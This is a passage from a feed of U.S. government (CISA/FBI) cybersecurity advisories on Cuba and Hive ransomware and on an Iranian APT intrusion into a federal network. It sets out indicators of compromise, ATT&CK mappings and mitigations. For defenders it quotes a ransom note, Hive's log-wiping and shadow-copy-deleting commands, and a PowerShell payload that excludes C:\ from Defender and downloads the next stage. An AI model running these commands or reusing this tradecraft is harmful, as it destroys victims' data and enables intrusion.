bc1qzz7xweq8ee2j35tq6r5m687kctq9huskt50edv bc1qvpk8ksl3my6kjezjss9p28cqj4dmpmmjx5yl3y bc1qhtwfcysclc7pck2y3vmjtpzkaezhcm6perc99x bc1qft3s53ur5uq5ru6sl3zyr247dpr55mnggwucd3 bc1qp7h9fszlqxjwyfhv0upparnsgx56x7v7wfx4x7 bc1q4vr25xkth35qslenqwd7aw020w85qrvlrhv7hc bc1q5uc0fdnz0ve5pg4nl4upa9ly586t6wmnghfe7x bc1q6rsj3cn37dngypu5kad9gdw5ykhctpwhjvun3z bc1q6zkemtyyrre2mkk23g93zyq98ygrygvx7z2q0t bc1q9cj0n9k2m282x0nzj6lhqjvhkkd4h95sewek83 bc1qaselp9nhejc3safcq3vn5wautx6w33x0llk7dl bc1qc48q628t93xwzljtvurpqhcvahvesadpwqtsza bc1qgsuf5m9tgxuv4ylxcmx8eeqn3wmlmu7f49zkus bc1qhpepeeh7hlz5jvrp50uhkz59lhakcfvme0w9qh bc1qjep0vx2lap93455p7h29unruvr05cs242mrcah bc1qr9l0gcl0nvmngap6ueyy5gqdwvm34kdmtevjyx bc1qs3lv77udkap2enxv928x59yuact5df4t95rsqr bc1qyd05q2m5qt3nwpd3gcqkyer0gspqx5p6evcf7h bc1qzz7xweq8ee2j35tq6r5m687kctq9huskt50edv   See figure 1 for an example of a Cuba ransomware note. Figure 1: Sample Cuba Ransom Note 2, as of late August 2022 Greetings! Unfortunately we have to report that your company were compromised. All your files were encrypted and you can’t restore them without our private key. Trying to restore it without our help may cause complete loss of your data. Also we researched whole your corporate network and downloaded all your sensitive data to our servers. If we will not get any contact from you in the next 3 days we will public it in our news site. You can find it there ( https[:]// cuba4ikm4jakjgmkeztyawtdgr2xymvy6nvgw5cglswg3si76icnqd.onion/ ) Tor Browser is needed ( https[:]//www.torproject.org/download/ ) Also we respect your work and time and we are open for communication. In that case we are ready to discuss recovering your files and work. We can grant absolute privacy and compliance with agreements by our side. Also we can provide all necessary evidence to confirm performance of our products and statements. Feel free to contact us with quTox ( https[:]//tox.chat/download.html )   Our ToxID: 37790E2D198DFD20C9D2887D4EF7C3E295188842480192689864DCCA3C8BD808A18956768271   Alternative method is email: inbox@mail.supports24[.]net   Mark your messages with your personal ID:     Additional resources to detect possible exploitation or compromise: Palo Alto Networks Novel News on Cuba Ransomware: Greetings From Tropical Scorpius BlackBerry blog RomCom Threat Actor Abuses KeePass and SolarWinds to Target Ukraine and Potentially the United Kingdom BlackBerry blog Unattributed RomCom Threat Actor Spoofing Popular Apps Now Hits Ukrainian Militaries MITRE ATT&CK TECHNIQUES Cuba ransomware actors use the ATT&CK techniques listed in Table 6. Note: For details on TTPs listed in the table, see FBI Flash Indicators of Compromise Associated with Cuba Ransomware. Resource Development Technique Title ID Use Compromise Infrastructure: Domains T1584.001 Cuba ransomware actors use compromised networks to conduct their operations. Initial Access Technique Title ID Use Valid Accounts T1078 Cuba ransomware actors have been known to use compromised credentials to get into a victim’s network. External Remote Services T1133 Cuba ransomware actors may leverage external-facing remote services to gain initial access to a victim’s network. Exploit Public-Facing Application T1190 Cuba ransomware actors are known to exploit vulnerabilities in public-facing systems. Phishing T1566 Cuba ransomware actors have sent phishing emails to obtain initial access to systems. Execution Technique Title ID Use Command and Scripting Interpreter: PowerShell T1059.001 Cuba ransomware actors have used PowerShell to escalate privileges. Software Deployment Tools T1072 Cuba ransomware actors use Hancitor as a tool to spread malicious files throughout a victim’s network. Privilege Escalation Technique Title ID Use Exploitation for Privilege Escalation T1068 Cuba ransomware actors have exploited ZeroLogon to gain administrator privileges.[2] Defense Evasion Technique Title ID Use Impair Defenses: Disable or Modify Tools T1562.001 Cuba ransomware actors leveraged a loader that disables security tools within the victim network. Lateral Movement Technique Title ID Use Remote Services Session: RDP Hijacking T1563.002 Cuba ransomware actors used RDP sessions to move laterally. Credential Access Technique Title ID Use Credential Dumping: LSASS Memory T1003.001 Cuba ransomware actors use LSASS memory to retrieve stored compromised credentials. Steal or Forge Kerberos Tickets: Kerberoasting T1558.003 Cuba ransomware actors used the Kerberoasting technique to identify service accounts linked to active directory.[2] Command and Control Technique Title ID Use Proxy: Manipulate Command and Control Communications T1090 Industrial Spy ransomware actors use HTTP/HTTPS proxy via a C2 server to direct traffic to avoid direct connection. [2] MitigationsFBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Cuba ransomware: Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud). Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies. Use longer passwords consisting of at least 8 characters and no more than 64 characters in length. Store passwords in hashed format using industry-recognized password managers. Add password user “salts” to shared login credentials. Avoid reusing passwords. Implement multiple failed login attempt account lockouts. Disable password “hints.” Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. Require administrator credentials to install software. Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching SonicWall firewall vulnerabilities and known exploited vulnerabilities in internet-facing systems. Note: SonicWall maintains a vulnerability list that includes Advisory ID, CVE, and mitigation. Their list can be found at psirt.global.sonicwall.com/vuln-list. Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. Install, regularly update, and enable real time detection for antivirus software on all hosts. Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege. Disable unused ports. Consider adding an email banner to emails received from outside your organization. Disable hyperlinks in received emails. Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). JIT sets a network-wide policy in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. Maintain offline backups of data, and regularly maintain backup and restoration. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. RESOURCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. REPORTING FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with ransomware actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents immediately. Report to a local FBI Field Office, or CISA at us-cert.cisa.gov/report. DISCLAIMER The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI or CISA. ACKNOWLEDGEMENTS FBI and CISA would like to thank BlackBerry, ESET, The National Cyber-Forensics and Training Alliance (NCFTA), Palo Alto Networks, and PRODAFT for their contributions to this CSA. References [1] Palo Alto Networks: Tropical Scorpius [2] Palo Alto Networks: Novel News on Cuba Ransomware - Greetings From Tropical Scorpius [3] BlackBerry: Unattributed RomCom Threat Actor Spoofing Popular Apps Now Hits Ukrainian Militaries [4] BlackBerry: RomCom Threat Actor Abuses KeePass and SolarWinds to Target Ukraine and Potentially the United Kingdom Revisions December 1, 2022: Initial Version December 12, 2022: Added new IP addresses and IOCs This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-321A: #StopRansomware: Hive Ransomware
    by CISA on 17 Novembre 2022 at 5:00 pm

    Original release date: November 17, 2022 | Last revised: November 25, 2022SummaryActions to Take Today to Mitigate Cyber Threats from Ransomware: • Prioritize remediating known exploited vulnerabilities. • Enable and enforce multifactor authentication with strong passwords • Close unused ports and remove any application not deemed necessary for day-to-day operations. Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources. The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Health and Human Services (HHS) are releasing this joint CSA to disseminate known Hive IOCs and TTPs identified through FBI investigations as recently as November 2022. FBI, CISA, and HHS encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. Victims of ransomware operations should report the incident to their local FBI field office or CISA. Download the PDF version of this report: pdf, 852.9 kb. For a downloadable copy of IOCs, see AA22-321A.stix (STIX, 43.6 kb). Technical DetailsNote: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques. As of November 2022, Hive ransomware actors have victimized over 1,300 companies worldwide, receiving approximately US$100 million in ransom payments, according to FBI information. Hive ransomware follows the ransomware-as-a-service (RaaS) model in which developers create, maintain, and update the malware, and affiliates conduct the ransomware attacks. From June 2021 through at least November 2022, threat actors have used Hive ransomware to target a wide range of businesses and critical infrastructure sectors, including Government Facilities, Communications, Critical Manufacturing, Information Technology, and especially Healthcare and Public Health (HPH). The method of initial intrusion will depend on which affiliate targets the network. Hive actors have gained initial access to victim networks by using single factor logins via Remote Desktop Protocol (RDP), virtual private networks (VPNs), and other remote network connection protocols [T1133]. In some cases, Hive actors have bypassed multifactor authentication (MFA) and gained access to FortiOS servers by exploiting Common Vulnerabilities and Exposures (CVE) CVE-2020-12812. This vulnerability enables a malicious cyber actor to log in without a prompt for the user’s second authentication factor (FortiToken) when the actor changes the case of the username. Hive actors have also gained initial access to victim networks by distributing phishing emails with malicious attachments [T1566.001] and by exploiting the following vulnerabilities against Microsoft Exchange servers [T1190]: CVE-2021-31207 - Microsoft Exchange Server Security Feature Bypass Vulnerability CVE-2021-34473 - Microsoft Exchange Server Remote Code Execution Vulnerability CVE-2021-34523 - Microsoft Exchange Server Privilege Escalation Vulnerability After gaining access, Hive ransomware attempts to evade detention by executing processes to: Identify processes related to backups, antivirus/anti-spyware, and file copying and then terminating those processes to facilitate file encryption [T1562]. Stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or via PowerShell [T1059] [T1490]. Delete Windows event logs, specifically the System, Security and Application logs [T1070]. Prior to encryption, Hive ransomware removes virus definitions and disables all portions of Windows Defender and other common antivirus programs in the system registry [T1112]. Hive actors exfiltrate data likely using a combination of Rclone and the cloud storage service Mega.nz [T1537]. In addition to its capabilities against the Microsoft Windows operating system, Hive ransomware has known variants for Linux, VMware ESXi, and FreeBSD. During the encryption process, a file named *.key (previously *.key.*) is created in the root directory (C:\ or /root/). Required for decryption, this key file only exists on the machine where it was created and cannot be reproduced. The ransom note, HOW_TO_DECRYPT.txt is dropped into each affected directory and states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered [T1486]. The ransom note contains a “sales department” .onion link accessible through a TOR browser, enabling victim organizations to contact the actors through a live chat panel to discuss payment for their files. However, some victims reported receiving phone calls or emails from Hive actors directly to discuss payment. The ransom note also threatens victims that a public disclosure or leak site accessible on the TOR site, “HiveLeaks”, contains data exfiltrated from victim organizations who do not pay the ransom demand (see figure 1 below). Additionally, Hive actors have used anonymous file sharing sites to disclose exfiltrated data (see table 1 below).   Table 1: Anonymous File Sharing Sites Used to Disclose Data https://anonfiles[.]com https://mega[.]nz https://send.exploit[.]in https://ufile[.]io https://www.sendspace[.]com https://privatlab[.]net https://privatlab[.]com   Once the victim organization contacts Hive actors on the live chat panel, Hive actors communicate the ransom amount and the payment deadline. Hive actors negotiate ransom demands in U.S. dollars, with initial amounts ranging from several thousand to millions of dollars. Hive actors demand payment in Bitcoin. Hive actors have been known to reinfect—with either Hive ransomware or another ransomware variant—the networks of victim organizations who have restored their network without making a ransom payment. Indicators of Compromise Threat actors have leveraged the following IOCs during Hive ransomware compromises. Note: Some of these indicators are legitimate applications that Hive threat actors used to aid in further malicious exploitation. FBI, CISA, and HHS recommend removing any application not deemed necessary for day-to-day operations. See tables 2–3 below for IOCs obtained from FBI threat response investigations as recently as November 2022. Table 2: Known IOCs as of November 2022 Known IOCs - Files HOW_TO_DECRYPT.txt typically in directories with encrypted files *.key typically in the root directory, i.e., C:\ or /root hive.bat shadow.bat asq.r77vh0[.]pw - Server hosted malicious HTA file asq.d6shiiwz[.]pw - Server referenced in malicious regsvr32 execution asq.swhw71un[.]pw - Server hosted malicious HTA file asd.s7610rir[.]pw - Server hosted malicious HTA file Windows_x64_encrypt.dll Windows_x64_encrypt.exe Windows_x32_encrypt.dll Windows_x32_encrypt.exe Linux_encrypt Esxi_encrypt Known IOCs – Events System, Security and Application Windows event logs wiped Microsoft Windows Defender AntiSpyware Protection disabled Microsoft Windows Defender AntiVirus Protection disabled Volume shadow copies deleted Normal boot process prevented Known IOCs – Logged Processes wevtutil.exe cl system wevtutil.exe cl security wevtutil.exe cl application vssadmin.exe delete shadows /all /quiet wmic.exe SHADOWCOPY /nointeractive wmic.exe shadowcopy delete bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures bcdedit.exe /set {default} recoveryenabled no   Table 3: Potential IOC IP Addresses as of November 2022 Note: Some of these observed IP addresses are more than a year old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking action like blocking. Potential IOC IP Addresses for Compromise or Exfil: 84.32.188[.]57 84.32.188[.]238 93.115.26[.]251 185.8.105[.]67 181.231.81[.]239 185.8.105[.]112 186.111.136[.]37 192.53.123[.]202 158.69.36[.]149 46.166.161[.]123 108.62.118[.]190 46.166.161[.]93 185.247.71[.]106 46.166.162[.]125 5.61.37[.]207 46.166.162[.]96 185.8.105[.]103 46.166.169[.]34 5.199.162[.]220 93.115.25[.]139 5.199.162[.]229 93.115.27[.]148 89.147.109[.]208 83.97.20[.]81 5.61.37[.]207 5.199.162[.]220 5.199.162[.]229; 46.166.161[.]93 46.166.161[.]123; 46.166.162[.]96 46.166.162[.]125 46.166.169[.]34 83.97.20[.]81 84.32.188[.]238 84.32.188[.]57 89.147.109[.]208 93.115.25[.]139; 93.115.26[.]251 93.115.27[.]148 108.62.118[.]190 158.69.36[.]149/span> 181.231.81[.]239 185.8.105[.]67 185.8.105[.]103 185.8.105[.]112 185.247.71[.]106 186.111.136[.]37 192.53.123[.]202   MITRE ATT&CK TECHNIQUES See table 4 for all referenced threat actor tactics and techniques listed in this advisory. Table 4: Hive Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use External Remote Services T1133 Hive actors gain access to victim networks by using single factor logins via RDP, VPN, and other remote network connection protocols. Exploit Public-Facing Application T1190 Hive actors gain access to victim network by exploiting the following Microsoft Exchange vulnerabilities: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-42321. Phishing T1566.001 Hive actors gain access to victim networks by distributing phishing emails with malicious attachments. Execution Technique Title ID Use Command and Scripting Interpreter T1059 Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin on command line or PowerShell. Defense Evasion Technique Title ID Use Indicator Removal on Host T1070 Hive actors delete Windows event logs, specifically, the System, Security and Application logs. Modify Registry T1112 Hive actors set registry values for DisableAntiSpyware and DisableAntiVirus to 1. Impair Defenses T1562 Hive actors seek processes related to backups, antivirus/anti-spyware, and file copying and terminates those processes to facilitate file encryption. Exfiltration Technique Title ID Use Transfer Data to Cloud Account T1537 Hive actors exfiltrate data from victims, using a possible combination of Rclone and the cloud storage service Mega.nz. Impact Technique Title   Use Data Encrypted for Impact T1486 Hive actors deploy a ransom note HOW_TO_DECRYPT.txt into each affected directory which states the *.key file cannot be modified, renamed, or deleted, otherwise the encrypted files cannot be recovered. Inhibit System Recovery T1490 Hive actors looks to stop the volume shadow copy services and remove all existing shadow copies via vssadmin via command line or PowerShell. MitigationsFBI, CISA, and HHS recommend organizations, particularly in the HPH sector, implement the following to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Hive ransomware: Verify Hive actors no longer have access to the network. Install updates for operating systems, software, and firmware as soon as they are released. Prioritize patching VPN servers, remote access software, virtual machine software, and known exploited vulnerabilities. Consider leveraging a centralized patch management system to automate and expedite the process. Require phishing-resistant MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups. If used, secure and monitor RDP. Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if you deem RDP operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports. Be sure to properly configure devices and enable security features. Disable ports and protocols not used for business purposes, such as RDP Port 3389/TCP. Maintain offline backups of data, and regularly maintain backup and restoration. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. Ensure your backup data is not already infected., Monitor cyber threat reporting regarding the publication of compromised VPN login credentials and change passwords/settings if applicable. Install and regularly update anti-virus or anti-malware software on all hosts. Enable PowerShell Logging including module logging, script block logging and transcription. Install an enhanced monitoring tool such as Sysmon from Microsoft for increased logging. Review the following additional resources. The joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling. The Cybersecurity and Infrastructure Security Agency-Multi-State Information Sharing & Analysis Center Joint Ransomware Guide covers additional best practices and ways to prevent, protect, and respond to a ransomware attack. StopRansomware.gov is the U.S. Government’s official one-stop location for resources to tackle ransomware more effectively. If your organization is impacted by a ransomware incident, FBI, CISA, and HHS recommend the following actions. Isolate the infected system. Remove the infected system from all networks, and disable the computer’s wireless, Bluetooth, and any other potential networking capabilities. Ensure all shared and networked drives are disconnected. Turn off other computers and devices. Power-off and segregate (i.e., remove from the network) the infected computer(s). Power-off and segregate any other computers or devices that share a network with the infected computer(s) that have not been fully encrypted by ransomware. If possible, collect and secure all infected and potentially infected computers and devices in a central location, making sure to clearly label any computers that have been encrypted. Powering-off and segregating infected computers and computers that have not been fully encrypted may allow for the recovery of partially encrypted files by specialists. Secure your backups. Ensure that your backup data is offline and secure. If possible, scan your backup data with an antivirus program to check that it is free of malware. In addition, FBI, CISA, and HHS urge all organizations to apply the following recommendations to prepare for, mitigate/prevent, and respond to ransomware incidents. Preparing for Cyber Incidents Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity. Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy. Document and monitor external remote connections. Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation. Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud). Identity and Access Management Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute of Standards and Technology (NIST) standards for developing and managing password policies. Use longer passwords consisting of at least 8 characters and no more than 64 characters in length. Store passwords in hashed format using industry-recognized password managers. Add password user “salts” to shared login credentials. Avoid reusing passwords. Implement multiple failed login attempt account lockouts. Disable password “hints.” Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. Require administrator credentials to install software. Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege. Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.  Protective Controls and Architecture Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. Install, regularly update, and enable real time detection for antivirus software on all hosts. Vulnerability and Configuration Management Consider adding an email banner to emails received from outside your organization. Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. Ensure devices are properly configured and that security features are enabled.  Restrict Server Message Block (SMB) Protocol within the network to only access necessary servers and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations. REFERENCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. INFORMATION REQUESTED The FBI, CISA, and HHS do not encourage paying a ransom to criminal actors. Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Paying the ransom also does not guarantee that a victim’s files will be recovered. However, the FBI, CISA, and HHS understand that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers. Regardless of whether you or your organization decide to pay the ransom, the FBI, CISA, and HHS urge you to promptly report ransomware incidents to your local FBI field office, or to CISA at report@cisa.gov or (888) 282-0870. Doing so provides investigators with the critical information they need to track ransomware attackers, hold them accountable under US law, and prevent future attacks.  The FBI may seek the following information that you determine you can legally share, including: Recovered executable files Live random access memory (RAM) capture Images of infected systems Malware samples IP addresses identified as malicious or suspicious Email addresses of the attackers A copy of the ransom note Ransom amount Bitcoin wallets used by the attackers Bitcoin wallets used to pay the ransom Post-incident forensic reports DISCLAIMER The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and HHS do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or HHS.   Revisions Initial Version: November 17, 2022 This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-320A: Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester
    by CISA on 16 Novembre 2022 at 3:04 pm

    Original release date: November 16, 2022 | Last revised: November 25, 2022SummaryFrom mid-June through mid-July 2022, CISA conducted an incident response engagement at a Federal Civilian Executive Branch (FCEB) organization where CISA observed suspected advanced persistent threat (APT) activity. In the course of incident response activities, CISA determined that cyber threat actors exploited the Log4Shell vulnerability in an unpatched VMware Horizon server, installed XMRig crypto mining software, moved laterally to the domain controller (DC), compromised credentials, and then implanted Ngrok reverse proxies on several hosts to maintain persistence. CISA and the Federal Bureau of Investigation (FBI) assess that the FCEB network was compromised by Iranian government-sponsored APT actors. CISA and FBI are releasing this Cybersecurity Advisory (CSA) providing the suspected Iranian government-sponsored actors’ tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help network defenders detect and protect against related compromises. CISA and FBI encourage all organizations with affected VMware systems that did not immediately apply available patches or workarounds to assume compromise and initiate threat hunting activities. If suspected initial access or compromise is detected based on IOCs or TTPs described in this CSA, CISA and FBI encourage organizations to assume lateral movement by threat actors, investigate connected systems (including the DC), and audit privileged accounts. All organizations, regardless of identified evidence of compromise, should apply the recommendations in the Mitigations section of this CSA to protect against similar malicious cyber activity. For more information on Iranian government-sponsored Iranian malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threats webpage. Download the PDF version of this report: pdf, 528 kb. For a downloadable copy of the Malware Analysis Report (MAR) accompanying this report, see: MAR 10387061-1.v1. For a downloadable copy of IOCs, see: AA22-320A.stix, 1.55 mb. Technical DetailsNote: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques with corresponding mitigation and/or detection recommendations. Overview In April 2022, CISA conducted retrospective analysis using EINSTEIN—an FCEB-wide intrusion detection system (IDS) operated and monitored by CISA—and identified suspected APT activity on an FCEB organization’s network. CISA observed bi-directional traffic between the network and a known malicious IP address associated with exploitation of the Log4Shell vulnerability (CVE-2021-44228) in VMware Horizon servers. In coordination with the FCEB organization, CISA initiated threat hunting incident response activities; however, prior to deploying an incident response team, CISA observed additional suspected APT activity. Specifically, CISA observed HTTPS activity from IP address 51.89.181[.]64 to the organization’s VMware server. Based on trusted third-party reporting, 51.89.181[.]64 is a Lightweight Directory Access Protocol (LDAP) server associated with threat actors exploiting Log4Shell. Following HTTPS activity, CISA observed a suspected LDAP callback on port 443 to this IP address. CISA also observed a DNS query for us‐nation‐ny[.]cf that resolved back to 51.89.181[.]64 when the victim server was returning this Log4Shell LDAP callback to the actors’ server. CISA assessed that this traffic indicated a confirmed compromise based on the successful callback to the indicator and informed the organization of these findings; the organization investigated the activity and found signs of compromise. As trusted-third party reporting associated Log4Shell activity from 51.89.181[.]64 with lateral movement and targeting of DCs, CISA suspected the threat actors had moved laterally and compromised the organization’s DC. From mid-June through mid-July 2022, CISA conducted an onsite incident response engagement and determined that the organization was compromised as early as February 2022, by likely Iranian government-sponsored APT actors who installed XMRig crypto mining software. The threat actors also moved laterally to the domain controller, compromised credentials, and implanted Ngrok reverse proxies. Threat Actor Activity In February 2022, the threat actors exploited Log4Shell [T1190] for initial access [TA0001] to the organization’s unpatched VMware Horizon server. As part of their initial exploitation, CISA observed a connection to known malicious IP address 182.54.217[.]2 lasting 17.6 seconds. The actors’ exploit payload ran the following PowerShell command [T1059.001] that added an exclusion rule to Windows Defender [T1562.001]: powershell try{Add-MpPreference -ExclusionPath 'C:\'; Write-Host 'added-exclusion'} catch {Write-Host 'adding-exclusion-failed' }; powershell -enc "$BASE64 encoded payload to download next stage and execute it" The exclusion rule allowlisted the entire c:\drive, enabling threat actors to download tools to the c:\drive without virus scans. The exploit payload then downloaded mdeploy.text from 182.54.217[.]2/mdepoy.txt to C:\users\public\mde.ps1 [T1105]. When executed, mde.ps1 downloaded file.zip from 182.54.217[.]2 and removed mde.ps1 from the disk [T1070.004]. file.zip contained XMRig cryptocurrency mining software and associated configuration files. WinRing0x64.sys – XMRig Miner driver wuacltservice.exe – XMRig Miner config.json – XMRig miner configuration RuntimeBroker.exe – Associated file. This file can create a local user account [T1136.001] and tests for internet connectivity by pinging 8.8.8.8 [T1016.001]. The exploit payload created a Scheduled Task [T1053.005] that executed RuntimeBroker.exe daily as SYSTEM. Note: By exploiting Log4Shell, the actors gained access to a VMware service account with administrator and system level access. The Scheduled Task was named RuntimeBrokerService.exe to masquerade as a legitimate Windows task. See MAR 10387061-1.v1 for additional information, including IOCs, on these four files. After obtaining initial access and installing XMRig on the VMWare Horizon server, the actors used RDP [T1021.001] and the built-in Windows user account DefaultAccount [T1078.001] to move laterally [TA0008] to a VMware VDI-KMS host. Once the threat actor established themselves on the VDI-KMS host, CISA observed the actors download around 30 megabytes of files from transfer[.]sh server associated with 144.76.136[.]153. The actors downloaded the following tools: PsExec – a Microsoft signed tool for system administrators. Mimikatz – a credential theft tool. Ngrok – a reverse proxy tool for proxying an internal service out onto an Ngrok domain, which the user can then access at a randomly generated subdomain at *.ngrok[.]io. CISA has observed this tool in use by some commercial products for benign purposes; however, this process bypasses typical firewall controls and may be a potentially unwanted application in production environments. Ngrok is known to be used for malicious purposes.[1] The threat actors then executed Mimikatz on VDI-KMS to harvest credentials and created a rogue domain administrator account [T1136.002]. Using the newly created account, the actors leveraged RDP to propagate to several hosts within the network. Upon logging into each host, the actors manually disabled Windows Defender via the Graphical User Interface (GUI) and implanted Ngrok executables and configuration files. The threat actors were able to implant Ngrok on multiple hosts to ensure Ngrok’s persistence should they lose access to a machine during a routine reboot. The actors were able to proxy [T1090] RDP sessions, which were only observable on the local network as outgoing HTTPS port 443 connections to tunnel.us.ngrok[.]com and korgn.su.lennut[.]com (the prior domain in reverse). It is possible, but was not observed, that the threat actors configured a custom domain, or used other Ngrok tunnel domains, 